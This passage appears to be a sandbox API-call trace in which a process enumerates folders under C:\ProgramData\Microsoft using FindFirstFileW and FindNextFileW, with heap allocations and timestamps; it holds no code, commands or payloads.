[0271.746] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc93dc4da, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x40368daa, ftLastAccessTime.dwHighDateTime=0x1d39f5f, ftLastWriteTime.dwLowDateTime=0xfbfe5ab1, ftLastWriteTime.dwHighDateTime=0x1d3aafb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0271.746] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc93dc4da, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xc93dc4da, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xc93dc4da, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Views", cAlternateFileName="")) returned 1 [0271.746] GetProcessHeap () returned 0xc10000 [0271.746] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0271.747] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Event Viewer\\Views\\*", lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc93dc4da, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xc93dc4da, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xc93dc4da, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4da8 [0271.747] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc93dc4da, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xc93dc4da, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xc93dc4da, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0271.747] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc93dc4da, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xc93dc4da, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xc93dc4da, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ApplicationViewsRootNode", cAlternateFileName="APPLIC~1")) returned 1 [0271.747] GetProcessHeap () returned 0xc10000 [0271.747] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3418fe0 [0271.748] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc93dc4da, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xc93dc4da, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xc93dc4da, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ba8 [0271.748] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc93dc4da, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xc93dc4da, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xc93dc4da, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0271.748] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc93dc4da, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xc93dc4da, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xc93dc4da, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0271.748] FindClose (in: hFindFile=0x33e4ba8 | out: hFindFile=0x33e4ba8) returned 1 [0271.748] GetProcessHeap () returned 0xc10000 [0271.749] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3418fe0 | out: hHeap=0xc10000) returned 1 [0271.749] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc93dc4da, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xc93dc4da, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xc93dc4da, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ApplicationViewsRootNode", cAlternateFileName="APPLIC~1")) returned 0 [0271.749] FindClose (in: hFindFile=0x33e4da8 | out: hFindFile=0x33e4da8) returned 1 [0271.749] GetProcessHeap () returned 0xc10000 [0271.749] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0271.749] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc93dc4da, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xc93dc4da, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xc93dc4da, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Views", cAlternateFileName="")) returned 0 [0271.749] FindClose (in: hFindFile=0x33e49e8 | out: hFindFile=0x33e49e8) returned 1 [0271.749] GetProcessHeap () returned 0xc10000 [0271.749] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38f0050 | out: hHeap=0xc10000) returned 1 [0271.750] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd7af95c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IdentityCRL", cAlternateFileName="IDENTI~1")) returned 1 [0271.750] GetProcessHeap () returned 0xc10000 [0271.750] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38f0050 [0271.751] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\IdentityCRL\\*", lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd7af95c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ba8 [0271.751] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd7af95c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0271.751] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd7b0839, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a8b18c4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="INT", cAlternateFileName="")) returned 1 [0271.751] GetProcessHeap () returned 0xc10000 [0271.751] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0271.752] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\IdentityCRL\\INT\\*", lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd7b0839, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a8b18c4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0271.752] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd7b0839, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a8b18c4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0271.752] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a8b18c4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5ed1465, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5ed1465, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x62e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ppcrlconfig600.dll", cAlternateFileName="PPCRLC~1.DLL")) returned 1 [0271.752] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a8b18c4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5ed1465, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5ed1465, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x62e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ppcrlconfig600.dll", cAlternateFileName="PPCRLC~1.DLL")) returned 0 [0271.752] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0271.753] GetProcessHeap () returned 0xc10000 [0271.753] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0271.753] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x46b00d5c, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x46b00d5c, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="production", cAlternateFileName="PRODUC~1")) returned 1 [0271.753] GetProcessHeap () returned 0xc10000 [0271.753] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0271.753] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\IdentityCRL\\production\\*", lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x46b00d5c, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x46b00d5c, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ca8 [0271.753] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x46b00d5c, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x46b00d5c, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0271.753] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a8b18c4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5ed1465, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97ce8d28, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x60e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ppcrlconfig600.dll", cAlternateFileName="PPCRLC~1.DLL")) returned 1 [0271.753] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb66288f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xbd80b503, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcb66288f, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="temp", cAlternateFileName="")) returned 1 [0271.753] GetProcessHeap () returned 0xc10000 [0271.753] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3418fe0 [0271.754] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\IdentityCRL\\production\\temp\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb66288f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xbd80b503, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcb66288f, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4da8 [0271.755] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb66288f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xbd80b503, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcb66288f, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0271.755] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb66288f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xbd80b503, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcb66288f, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0271.755] FindClose (in: hFindFile=0x33e4da8 | out: hFindFile=0x33e4da8) returned 1 [0271.756] GetProcessHeap () returned 0xc10000 [0271.756] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3418fe0 | out: hHeap=0xc10000) returned 1 [0271.756] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb66288f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xbd80b503, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcb66288f, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="temp", cAlternateFileName="")) returned 0 [0271.756] FindClose (in: hFindFile=0x33e4ca8 | out: hFindFile=0x33e4ca8) returned 1 [0271.756] GetProcessHeap () returned 0xc10000 [0271.756] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0271.756] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x46b00d5c, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x46b00d5c, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="production", cAlternateFileName="PRODUC~1")) returned 0 [0271.756] FindClose (in: hFindFile=0x33e4ba8 | out: hFindFile=0x33e4ba8) returned 1 [0271.756] GetProcessHeap () returned 0xc10000 [0271.756] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38f0050 | out: hHeap=0xc10000) returned 1 [0272.057] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd06144, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd80cc32, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd06144, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MapData", cAlternateFileName="")) returned 1 [0272.058] GetProcessHeap () returned 0xc10000 [0272.058] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38f0050 [0272.058] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\MapData\\*", lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd06144, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd80cc32, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd06144, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4da8 [0272.059] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd06144, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd80cc32, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd06144, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.059] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd06144, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd80cc32, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd06144, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0272.059] FindClose (in: hFindFile=0x33e4da8 | out: hFindFile=0x33e4da8) returned 1 [0272.060] GetProcessHeap () returned 0xc10000 [0272.060] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38f0050 | out: hHeap=0xc10000) returned 1 [0272.060] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd80d7aa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a8b18c4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MF", cAlternateFileName="")) returned 1 [0272.060] GetProcessHeap () returned 0xc10000 [0272.060] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38f0050 [0272.060] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\MF\\*", lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd80d7aa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a8b18c4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ba8 [0272.060] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd80d7aa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a8b18c4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.060] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a8b18c4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5ed1465, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5ed1465, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3a7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Active.GRL", cAlternateFileName="")) returned 1 [0272.060] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a8b18c4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5ed1465, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5ed1465, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3a7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pending.GRL", cAlternateFileName="")) returned 1 [0272.060] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a8b18c4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5ed1465, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5ed1465, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3a7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pending.GRL", cAlternateFileName="")) returned 0 [0272.061] FindClose (in: hFindFile=0x33e4ba8 | out: hFindFile=0x33e4ba8) returned 1 [0272.061] GetProcessHeap () returned 0xc10000 [0272.061] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38f0050 | out: hHeap=0xc10000) returned 1 [0272.061] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd80e29d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NetFramework", cAlternateFileName="NETFRA~1")) returned 1 [0272.061] GetProcessHeap () returned 0xc10000 [0272.061] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38f0050 [0272.061] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\NetFramework\\*", lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd80e29d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, 